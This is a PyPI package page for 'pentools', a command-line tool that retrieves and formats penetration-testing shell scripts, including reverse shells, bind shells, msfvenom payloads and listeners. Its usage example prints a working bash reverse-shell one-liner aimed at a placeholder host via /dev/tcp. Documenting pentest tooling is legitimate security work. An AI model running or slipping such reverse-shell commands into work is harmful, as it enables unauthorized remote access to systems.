Skip to main content

CLI Tool for interacting with Pen Tools API.

A command line interface tool for interacting with Pen Tools API. Quickly retrieve and format scripts using a simple set of commands.

Installation

The package requires Python 3.7 or higher.

Install latest version from PyPI: pip install pentools

Resources

API documentation

Usage

Retrieve the list of scripts based on specified category (leave blank to see all).

pentools list

output:

Available types

0. rev
1. bind
2. msf_venom
3. listener

Add the -f flag to see available scripts.

pentools list rev  -f

output:

Available scripts and types

0. rev
    Shell session established on a connection that is initiated from a remote machine.
        0. bash_i [id: 1]('linux', 'mac')
        1. bash_196 [id: 2]('linux', 'mac')
        2. bash_read_line [id: 3]('linux', 'mac')
        3. Bash_5 [id: 4]('linux', 'mac')
        ...

Retrieve and format a specific script by id.

pentools script -i 1 -ho example.ip -p 12345 -s bin/bash

output:

---------------(code)---------------

bin/bash -i >& /dev/tcp/example.ip/12345 0>&1

-------------(end code)-------------

Metadata

Release files for pentools 0.0.1

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for pentools 0.0.1
File Size Uploaded
pentools-0.0.1.tar.gz 4.4 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for pentools 0.0.1
File Interpreter ABI Platform
pentools-0.0.1-py3-none-any.whl Python 3 none any Details

Total release size: 11.6 kB

Release files / pentools-0.0.1.tar.gz

Download URL pentools-0.0.1.tar.gz
Size 4.4 kB
Tags Source
SHA-256 checksum
How to use checksums
762af689ae03947975dc8af68680078aa793606736af2474a5d30798d28ce225
BLAKE2b-256 checksum
How to use checksums
da175ae59a1372ff4e2da8569fcc9fa71fa9b15a38fc61bf64b7b5a88996780f
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/47.3.1 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.6

Release files / pentools-0.0.1-py3-none-any.whl

Download URL pentools-0.0.1-py3-none-any.whl
Size 7.3 kB
Tags Python 3
SHA-256 checksum
How to use checksums
6354e951ebdc76efcd13670319d02865a658e7df9b1db8602d4a7f848c41e7d0
BLAKE2b-256 checksum
How to use checksums
88f056903cefd9abce1dcde9b17f1a6581f7fc75812ee28e860da90bf2382281
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/3.1.1 pkginfo/1.5.0.1 requests/2.22.0 setuptools/47.3.1 requests-toolbelt/0.9.1 tqdm/4.46.1 CPython/3.7.6

Release history Release notifications | RSS feed

This release

0.0.1 This release

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page